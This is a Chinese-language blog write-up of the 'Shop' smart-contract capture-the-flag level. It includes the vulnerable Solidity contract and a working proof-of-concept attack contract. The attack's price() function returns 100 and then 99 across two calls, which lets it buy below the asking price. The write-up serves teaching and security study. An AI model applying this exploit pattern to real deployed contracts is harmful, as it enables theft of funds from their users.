Shop-wp
Shop-wp
合约可以以任何他们想要的方式操纵可看到的其他合约的数据。
根据外部和不受信任的合约逻辑更改状态是不安全的。
合约源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
POC
contract Buyer_Hack {
Shop immutable target;
constructor(address tar) {
target = Shop(tar);
}
function pwn() external {
target.buy();
require(target.price() == 99,"hack failed");
}
function price() external view returns (uint) {
if(target.isSold() == false) {
return 100;
}
return 99;
}
}
攻击原理:
在 Shop 合约中,要求我们最后设置的 price < 100 即可通关,而实际上,buy
函数调用了两次_buyer.price()
函数,也就是我们需要:第一次调用price()
函数返回值>=100,第二次调用price()
函数返回值 < 100。实际上,Shop 合约中的Buyer _buyer = Buyer(mag.sender)
使得我们可以在我们的攻击合约中设计price()
函数的逻辑,由于Buyer(msg.sender)
的限制,所以攻击的逻辑,也必须要在我们实现price()
这个合约中,这也是为什么pwn()
函数要和price()
必须在一个合约中。而想要实现两次调用price()
返回值不同,因为price()
函数是view
类型,不能通过添加状态变量修改状态变量的形式,但是view
是可以访问状态变量的,那么只要两次的状态变量不同,被其他逻辑修改便可以利用。比如在两次调用_buyer.price()
的过程中,状态变量isSlod
发生了变化,所以我们可以通过判断状态变量isSlod
来实现两次调用price()
返回值不同的操作
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Q1ngying!